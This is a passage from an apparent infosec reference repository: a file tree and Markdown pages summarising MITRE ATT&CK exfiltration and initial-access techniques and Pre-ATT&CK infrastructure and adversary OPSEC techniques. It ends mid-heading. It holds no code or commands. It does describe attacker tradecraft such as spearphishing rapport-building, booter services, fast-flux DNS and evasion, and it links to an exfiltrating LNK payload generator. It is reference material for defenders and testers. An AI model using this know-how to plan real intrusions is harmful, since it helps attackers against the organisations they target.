├── .gitattributes
├── .gitignore
├── CONTRIBUTING.md
├── Draft
    ├── 10k-xkcd.png
    ├── ATT&CK-Stuff
    │   ├── ATT&CK
    │   │   ├── Collection.md
    │   │   ├── Command_and_Control.md
    │   │   ├── Credential_Access.md
    │   │   ├── Defense_Evasion.md
    │   │   ├── Discovery.md
    │   │   ├── Execution.md
    │   │   ├── Exfiltration.md
    │   │   ├── Initial_Access.md
    │   │   ├── Lateral Movement.md
    │   │   ├── Persistence.md
    │   │   └── Privilege_Escalation.md
    │   ├── Pre-ATT&CK
    │   │   ├── # Establish & Maintain Infrastructure.md
    │   │   ├── Adversary_OPSEC.md
    │   │   ├── Build_Capabilities.md
    │   │   ├── Organizationa_ Information_Gathering.md
    │   │   ├── Organizational_Weakness.md
    │   │   ├── People_Information_Gathering.md
    │   │   ├── People_Weakness_Identification.md
    │   │   ├── Persona_Development.md
    │   │   ├── Priority_Definition _lanning.md
    │   │   ├── Priority_Definition_Directive.md
    │   │   ├── Stage_Capabilities.md
    │   │   ├── Target_Selection.md
    │   │   ├── Technical_Information_Gathering.md
    │   │   ├── Technical_Weakness_Identification.md
    │   │   └── Test_Capabilities.md
    │   └── README.md
    ├── Active_Directory.md
    ├── AnonOpSecPrivacy.md
    ├── Archiving.md
    ├── Basic.md
    ├── Building_A_Lab.md
    ├── CTFs_Wargames.md
    ├── CandE.md
    ├── Career.md
    ├── Cars.md
    ├── Cheat sheets reference pages Checklists -
    │   ├── Linux
    │   │   ├── Post Exploitation on Linux.txt
    │   │   ├── QuickRef-Enum.txt
    │   │   └── cheat sheet Basic Linux Privilege Escalation.txt
    │   ├── Meterpreter Scripts and Description.txt
    │   ├── Ncat_Cheat_Sheet.txt
    │   ├── Nmap Cheat Sheet.md
    │   ├── Radare2.md
    │   ├── Windows
    │   │   └── Post Exploitation on Windows.txt
    │   ├── list_of_emoji.md
    │   └── metasploit.md
    ├── Cheats.md
    ├── Cloud.md
    ├── Conferences.md
    ├── Containers.md
    ├── Courses_Training.md
    ├── Crypto_Encrypt.md
    ├── DFIR.md
    ├── Darknets.md
    ├── DataVis.md
    ├── Defense.md
    ├── Docs_and_Reports.md
    ├── Embedded.md
    ├── Exfiltration.md
    ├── Exploit_Dev.md
    ├── Fuzzing.md
    ├── Games.md
    ├── Interesting_Things.md
    ├── L-SM-TH.md
    ├── Malware.md
    ├── Network_Attacks.md
    ├── Osint.md
    ├── Passwords.md
    ├── Phishing.md
    ├── Physical_Security.md
    ├── Policy_Compliance.md
    ├── Port_List.md
    ├── PrivEscPostExWin.md
    ├── PrivescPostEx.md
    ├── PrivescPostExLin.md
    ├── PrivescPostExmac.md
    ├── Programming_Language_Security.md
    ├── RE.md
    ├── README.md
    ├── RT.md
    ├── Rants&Writeups
    │   ├── Bitcoin_Hack.md
    │   ├── Gamma_group_hack_writeup.txt
    │   ├── Hacker_Manifesto
    │   ├── Hacking Team Writeup.md
    │   ├── Opsec_rant-alpraking.md
    │   ├── Opsec_rant2-nachash.md
    │   ├── Writeups
    │   │   ├── Empire_and_Metasploit_101.md
    │   │   ├── Lab_for_exploit_dev-basic.md
    │   │   └── Maps-Models-Martial_Arts.md
    │   ├── hackback3-original.txt
    │   └── hackback3-translated.txt
    ├── Reverse Engineering - REMath Literature.md
    ├── Rootkits.md
    ├── SCA.md
    ├── SCADA.md
    ├── SE.md
    ├── UX.md
    ├── Unsorted-rt.md
    ├── Web.md
    ├── Wireless.md
    ├── _sidebar.md
    ├── bios_uefi.md
    ├── css
    │   ├── docsify4.js
    │   ├── emoji.min.js
    │   ├── gfont.css
    │   ├── search.min.js
    │   ├── style.css
    │   ├── theme-blue-min.css
    │   ├── theme-min-blue.css
    │   └── theme.min.css
    ├── help.md
    ├── honeypot.md
    ├── images
    │   ├── 10k-xkcd.png
    │   ├── LICENSE MIT.svg
    │   ├── MARKDOWN.svg
    │   └── mspaint.png
    ├── index.html
    ├── index.md
    ├── sysinternals.md
    └── threatmodel.md
├── LICENSE
├── README.md
└── images
    ├── 10k-xkcd.png
    ├── Markdown-000000.svg
    └── v1.svg


/.gitattributes:
--------------------------------------------------------------------------------
 1 | # Auto detect text files and perform LF normalization
 2 | * text=auto
 3 | 
 4 | # Custom for Visual Studio
 5 | *.cs     diff=csharp
 6 | *.sln    merge=union
 7 | *.csproj merge=union
 8 | *.vbproj merge=union
 9 | *.fsproj merge=union
10 | *.dbproj merge=union
11 | 
12 | # Standard to msysgit
13 | *.doc	 diff=astextplain
14 | *.DOC	 diff=astextplain
15 | *.docx diff=astextplain
16 | *.DOCX diff=astextplain
17 | *.dot  diff=astextplain
18 | *.DOT  diff=astextplain
19 | *.pdf  diff=astextplain
20 | *.PDF	 diff=astextplain
21 | *.rtf	 diff=astextplain
22 | *.RTF	 diff=astextplain
23 | 


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
 1 | # Windows image file caches
 2 | Thumbs.db
 3 | ehthumbs.db
 4 | 
 5 | # Folder config file
 6 | Desktop.ini
 7 | 
 8 | # Recycle Bin used on file shares
 9 | $RECYCLE.BIN/
10 | 
11 | # Windows Installer files
12 | *.cab
13 | *.msi
14 | *.msm
15 | *.msp
16 | 
17 | # =========================
18 | # Operating System Files
19 | # =========================
20 | 
21 | # OSX
22 | # =========================
23 | 
24 | .DS_Store
25 | .AppleDouble
26 | .LSOverride
27 | 
28 | # Icon must ends with two \r.
29 | Icon

30 | 
31 | # Thumbnails
32 | ._*
33 | 
34 | # Files that might appear on external disk
35 | .Spotlight-V100
36 | .Trashes
37 | 
38 | Draft/Draft/To Do/add cull -2.txt


--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | If you wish to contribute, simply fork the project, add your links/information/pages and make a pull request. 
2 | As long as the links are non-malicious, I'll probably accept your pull request. Any help/contributions are welcomed.
3 | 


--------------------------------------------------------------------------------
/Draft/10k-xkcd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rmusser01/Infosec_Reference/4bdf90b0b98b7641140f9bf3950addc42d1861db/Draft/10k-xkcd.png


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/ATT&CK/Exfiltration.md:
--------------------------------------------------------------------------------
  1 | # Exfiltration
  2 | -------------------------------
  3 | See --> [Exfiltration](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Exfiltration.md)
  4 | 
  5 | 
  6 | 
  7 | [MITRE ATT&CK - Exfiltration](https://attack.mitre.org/wiki/Exfiltration)
  8 | * Exfiltration refers to techniques and attributes that result or aid in the adversary removing files and information from a target network. This category also covers locations on a system or network where the adversary may look for information to exfiltrate. 
  9 | 
 10 | 
 11 | ## Automated Exfiltration
 12 | -------------------------------
 13 | * [Automated Exfiltration - ATT&CK](https://attack.mitre.org/wiki/Technique/T1020)
 14 | 	* Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.
 15 | 
 16 | #### Linux
 17 | #### OS X
 18 | #### Windows
 19 | * [LNKUp](https://github.com/Plazmaz/LNKUp)
 20 | 	* This tool will allow you to generate LNK payloads. Upon rendering or being run, they will exfiltrate data.
 21 | 
 22 | 
 23 | 
 24 | 
 25 | 
 26 | 
 27 | 
 28 | ## Data Compressed
 29 | -------------------------------
 30 | * [Data Compressed - ATT&CK](https://attack.mitre.org/wiki/Technique/T1002)
 31 | 	* An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
 32 | 
 33 | 
 34 | 
 35 | 
 36 | 
 37 | 
 38 | 
 39 | 
 40 | ## Data Encrypted
 41 | -------------------------------
 42 | * [Data Encrypted - ATT&CK](https://attack.mitre.org/wiki/Technique/T1022)
 43 | 	* Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip. Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol
 44 | 
 45 | 
 46 | 
 47 | 
 48 | 
 49 | 
 50 | 
 51 | 
 52 | 
 53 | ## Data Transfer Size Limits
 54 | -------------------------------
 55 | * [Data Transfer Size Limits - ATT&CK](https://attack.mitre.org/wiki/Technique/T1030)
 56 | 	* An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.
 57 | 
 58 | 
 59 | 
 60 | 
 61 | 
 62 | 
 63 | ## Exfiltration Over Alternative Protocol
 64 | -------------------------------
 65 | * [Exfiltration Over Alternative Protocol - ATT&CK](https://attack.mitre.org/wiki/Technique/T1048)
 66 | 	* Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.
 67 | 
 68 | 
 69 | 
 70 | 
 71 | 
 72 | 
 73 | ## Exfiltration Over Command and Control Channel
 74 | -------------------------------
 75 | * [Exfiltration Over Command and Control Channel - ATT&CK](https://attack.mitre.org/wiki/Technique/T1041)
 76 | 	* Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.
 77 | 
 78 | 
 79 | 
 80 | 
 81 | 
 82 | 
 83 | 
 84 | ## Exfiltration Over Other Network Medium
 85 | -------------------------------
 86 | * [Exfiltration Over Other Network Medium - ATT&CK](https://attack.mitre.org/wiki/Technique/T1011)
 87 | 	* Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
 88 | 
 89 | 
 90 | 
 91 | 
 92 | 
 93 | 
 94 | 
 95 | 
 96 | ## Exfiltration Over Physical Medium
 97 | -------------------------------
 98 | * [Exfiltration Over Physical Medium - ATT&CK](https://attack.mitre.org/wiki/Technique/T1052)
 99 | 	* In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
100 | 
101 | 
102 | 
103 | 
104 | 
105 | 
106 | 
107 | 
108 | ## Scheduled Transfer
109 | -------------------------------
110 | * [Scheduled Transfer - ATT&CK](https://attack.mitre.org/wiki/Technique/T1029)
111 | 	* Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.
112 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/ATT&CK/Initial_Access.md:
--------------------------------------------------------------------------------
 1 | # Initial Access
 2 | 
 3 | * [MITRE ATT&CK - Initial Access](https://attack.mitre.org/wiki/Initial_Access)
 4 | 	* The initial access tactic represents the vectors adversaries use to gain an initial foothold within a network.  
 5 | 
 6 | -------------------------------
 7 | ## Drive-by-Compromise
 8 | * [Drive-by-Compromise - ATT&CK](https://attack.mitre.org/wiki/Technique/T1189)
 9 | 	* A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation.  
10 | 
11 | 
12 | -------------------------------
13 | ## Exploit Public-Facing Application
14 | * [Exploit Public-Facing Application - ATT&CK](https://attack.mitre.org/wiki/Technique/T1190)
15 | 	* The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services. Depending on the flaw being exploited this may include Exploitation for Defense Evasion.
16 | 
17 | 
18 | 
19 | -------------------------------
20 | ## Hardware Additions
21 | * [Drive-by-Compromise - ATT&CK](https://attack.mitre.org/wiki/Technique/T1200)
22 | 	* Computer accessories, computers or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping, man-in-the middle encryption breaking, keystroke injection, kernel memory reading via DMA, adding new wireless access to an existing network, and others. 
23 | 
24 | 
25 | 
26 | -------------------------------
27 | ## Replication Through Removable Media
28 | * [Replication Through Removable Media - ATT&CK](https://attack.mitre.org/wiki/Technique/T1091)
29 | 	* Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
30 | 
31 | 
32 | 
33 | -------------------------------
34 | ## Spearphishing Link
35 | * [Spearphishing Link - ATT&CK](https://attack.mitre.org/wiki/Technique/T1189)
36 | 	* Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attachment malicious files to the email itself, to avoid defenses that may inspect email attachments.
37 | 
38 | 
39 | 
40 | -------------------------------
41 | ## Spearphishing via Service
42 | * [Drive-by-Compromise - ATT&CK](https://attack.mitre.org/wiki/Technique/T1194)
43 | 	* Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.
44 | 	* All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.
45 | 	* A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working. 
46 | 
47 | 
48 | -------------------------------
49 | ## Supply Chain Compromise
50 | * [Supply Chain Compromise - ATT&CK](https://attack.mitre.org/wiki/Technique/T1195)
51 | 	* Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: 
52 | 		* Manipulation of development tools
53 | 		* Manipulation of a development environment
54 | 		* Manipulation of source code repositories (public or private)
55 | 		* Manipulation of software update/distribution mechanisms
56 | 		* Compromised/infected system images (multiple cases of removable media infected at the factory)
57 | 		* Replacement of legitimate software with modified versions
58 | 		* Sales of modified/counterfeit products to legitimate distributors
59 | 		* Shipment interdiction
60 | 
61 | 
62 | -------------------------------
63 | ## Trusted Relationship
64 | * [Trusted Relationship - ATT&CK](https://attack.mitre.org/wiki/Technique/T1199)
65 | 	* Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.
66 | 	* Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used. 
67 | 
68 | 
69 | -------------------------------
70 | ## Valid Accounts
71 | * [Valid Accounts - ATT&CK](https://attack.mitre.org/wiki/Technique/T1078)
72 | 	* Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access.
73 | 	* Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
74 | 	* Adversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful.
75 | 	* The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise
76 | 
77 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/# Establish & Maintain Infrastructure.md:
--------------------------------------------------------------------------------
  1 | # Establish & Maintain Infrastructure
  2 | 
  3 | 
  4 | ## Table of Contents
  5 | - []()
  6 | - []()
  7 | - []()
  8 | - []()
  9 | - []()
 10 | - []()
 11 | - []()
 12 | - []()
 13 | - []()
 14 | - []()
 15 | - []()
 16 | - []()
 17 | 
 18 | 
 19 | 
 20 | 
 21 | [Establish & Maintain Infrastructure - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Establish_%26_Maintain_Infrastructure)
 22 | * Establishing and maintaining infrastructure consists of building, purchasing, co-opting, and maintaining systems and services used to conduct cyber operations. An adversary will need to establish infrastructure used to communicate with and control assets used throughout the course of their operations. 
 23 | 
 24 | 
 25 | 
 26 | -------------------------------
 27 | ### Acquire and/or use 3rd party infrastructure services
 28 | * [Acquire and/or use 3rd party infrastructure services - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1106)
 29 | 	* A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down.
 30 | 
 31 | 
 32 | -------------------------------
 33 | ### Acquire and/or use 3rd party software services
 34 | * [Acquire and/or use 3rd party software services - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1107)
 35 | 	* A wide variety of 3rd party software services are available (e.g., Twitter, Dropbox, GoogleDocs). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down.
 36 | 
 37 | 
 38 | -------------------------------
 39 | ### Acquire or compromise 3rd party signing certificates
 40 | * [Acquire or compromise 3rd party signing certificates - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1109)
 41 | 	* Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is.
 42 | 
 43 | 
 44 | -------------------------------
 45 | ### Buy domain name
 46 | * [Buy domain name - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1105)
 47 | 	* Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.
 48 | 
 49 | 
 50 | -------------------------------
 51 | ### Compromise 3rd party infrastructure to support delivery
 52 | * [Compromise 3rd party infrastructure to support delivery - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1111)
 53 | 	* Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle.
 54 | 
 55 | 
 56 | -------------------------------
 57 | ### Create backup infrastructure
 58 | * [Create backup infrastructure - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1116)
 59 | 	* Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable.
 60 | 
 61 | 
 62 | -------------------------------
 63 | ### Domain registration hijacking
 64 | * [Domain registration hijacking - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1103)
 65 | 	* Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant.1 
 66 | 
 67 | 
 68 | -------------------------------
 69 | ### Dynamic DNS
 70 | * [Dynamic DNS - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1110)
 71 | 	* Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs.
 72 | 
 73 | 
 74 | -------------------------------
 75 | ### Install and configure hardware, network, and systems
 76 | * [Install and configure hardware, network, and systems - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1113)
 77 | 	* An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure.
 78 | 
 79 | 
 80 | -------------------------------
 81 | ### Obfuscate infrastructure
 82 | * [Obfuscate infrastructure - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1108)
 83 | 	* Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc.
 84 | 
 85 | 
 86 | -------------------------------
 87 | ### Obtain booter/stressor subscription
 88 | * [Obtain booter/stressor subscription - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1173)
 89 | 	* Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks.
 90 | 
 91 | 
 92 | -------------------------------
 93 | ### Procure required equipment and software
 94 | * [Procure required equipment and software - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1112)
 95 | 	* An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.
 96 | 
 97 | 
 98 | -------------------------------
 99 | ### SSL certificate acquisition for domain
100 | * [SSL certificate acquisition for domain - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1114)
101 | 	* Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of Wachovia -- homoglyphs).
102 | 
103 | 
104 | -------------------------------
105 | ### SSL certificate acquisition for trust breaking
106 | * [SSL certificate acquisition for trust breaking - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1115)
107 | 	* Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks.
108 | 
109 | 
110 | -------------------------------
111 | ### Shadow DNS
112 | * [Shadow DNS - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1117)
113 | 	* The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner.
114 | 
115 | 
116 | -------------------------------
117 | ### Use multiple DNS infrastructures
118 | * [Use multiple DNS infrastructures - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1104)
119 | 	* A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records.
120 | 
121 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Adversary_OPSEC.md:
--------------------------------------------------------------------------------
  1 | # Adversary OPSEC - Pre-ATT&CK
  2 |  
  3 | ## Table of Contents
  4 | - []()
  5 | - []()
  6 | - []()
  7 | - []()
  8 | - []()
  9 | - []()
 10 | - []()
 11 | - []()
 12 | - []()
 13 | - []()
 14 | - []()
 15 | - []()
 16 | - []()
 17 | 
 18 | 
 19 | 
 20 | 
 21 | [Adversary OPSEC - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Adversary_OPSEC)
 22 | * Adversary OPSEC consists of the use of various technologies or 3rd party services to obfuscate, hide, or blend in with accepted network traffic or system behavior. The adversary may use these techniques to evade defenses, reduce attribution, minimize discovery, and/or increase the time and effort required to analyze. 
 23 | 
 24 | 
 25 | 
 26 | 
 27 | -------------------------------
 28 | ### Acquire and/or use 3rd party infrastructure services
 29 | * [Acquire and/or use 3rd party infrastructure services - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1084)
 30 | 	* A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down.
 31 | 
 32 | 
 33 | 
 34 | -------------------------------
 35 | ### Acquire and/or use 3rd party software services
 36 | * [Acquire and/or use 3rd party software services - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1085)
 37 | 	* A wide variety of 3rd party software services are available (e.g., Twitter, Dropbox, GoogleDocs). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down.
 38 | 
 39 | 
 40 | -------------------------------
 41 | ### Acquire or compromise 3rd party signing certificates
 42 | * [Acquire or compromise 3rd party signing certificates - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1087)
 43 | 	* Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is.
 44 | 
 45 | -------------------------------
 46 | ### Anonymity services
 47 | * [Anonymity services - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1083)
 48 | 	* Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity.
 49 | 
 50 | 
 51 | 
 52 | -------------------------------
 53 | ### Common, high volume protocols and software
 54 | * [Common, high volume protocols and software - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1098)
 55 | 	* Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic.
 56 | 
 57 | 
 58 | -------------------------------
 59 | ### Compromise 3rd party infrastructure to support delivery
 60 | * [Compromise 3rd party infrastructure to support delivery - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1089)
 61 | 	* Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle.
 62 | 
 63 | 
 64 | -------------------------------
 65 | ### DNSCalc
 66 | * [DNSCalc - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1101)
 67 | 	* DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request.
 68 | 
 69 | 
 70 | 
 71 | -------------------------------
 72 | ### Data Hiding
 73 | * [Data Hiding - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1097)
 74 | 	* Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known.
 75 | 
 76 | 
 77 | -------------------------------
 78 | ### Domain Generation Algorithms (DGA)
 79 | * [Domain Generation Algorithms (DGA) - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1100)
 80 | 	* The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers.
 81 | 
 82 | 
 83 | -------------------------------
 84 | ### Dynamic DNS
 85 | * [Dynamic DNS - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1088)
 86 | 	* Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service.
 87 | 
 88 | 
 89 | 
 90 | -------------------------------
 91 | ### Fast Flux DNS
 92 | * [Fast Flux DNS - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1102)
 93 | 	* A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record.
 94 | 
 95 | 
 96 | -------------------------------
 97 | ### Host-based hiding techniques
 98 | * [Host-based hiding techniques - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1091)
 99 | 	* Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code.
100 | 
101 | 
102 | -------------------------------
103 | ### Misattributable credentials
104 | * [Misattributable credentials - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1099)
105 | 	* The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case.
106 | 
107 | 
108 | 
109 | -------------------------------
110 | ### Network-based hiding techniques
111 | * [Network-based hiding techniques - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1092)
112 | 	* Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation.
113 | 
114 | 
115 | -------------------------------
116 | ### Non-traditional or less attributable payment options
